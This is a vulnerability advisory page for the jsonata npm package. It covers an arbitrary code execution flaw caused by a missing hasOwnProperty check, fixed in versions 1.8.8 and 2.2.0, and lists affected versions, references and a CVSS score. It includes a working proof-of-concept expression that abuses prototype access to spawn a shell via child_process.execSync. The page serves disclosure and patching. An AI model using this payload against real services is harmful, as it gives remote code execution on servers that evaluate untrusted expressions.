JSONata: Arbitrary Code Execution via crafted JSONata expressions
Impact
Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function:
https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705
This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.
PoC
import jsonata from "jsonata";
const expression = jsonata(`
(
__lookupSetter__('__proto__')(constructor);
__defineGetter__('l', constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()"));
valueOf().l
)
`);
await expression.evaluate({});Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | jsonata | < 1.8.8, >= 2.0.0, < 2.2.0 | 1.8.8, 2.2.0 |
References
- https://github.com/jsonata-js/jsonata/security/advisories/GHSA-8gq3-vp5j-2grp
- https://github.com/jsonata-js/jsonata/pull/794
- https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e
- https://github.com/jsonata-js/jsonata/commit/4c5f4adfb90a9b500889d50f90050ca68888b50d
- https://github.com/jsonata-js/jsonata
- https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8
- https://github.com/jsonata-js/jsonata/releases/tag/v2.2.0
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-94- Platform
- npm
- Package
jsonata- Disclosed
- 21.08.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-8gq3-vp5j-2grp - CC BY 4.0
Vulnerability history: jsonata
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 6
- First → latest
- 03.2024 08.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 4
- High 1
- Medium 1
Disclosures per year
- 2024: 1
- 2025: 0
- 2026: 5
-
JSONata: Arbitrary Code Execution via crafted JSONata expressions this entry
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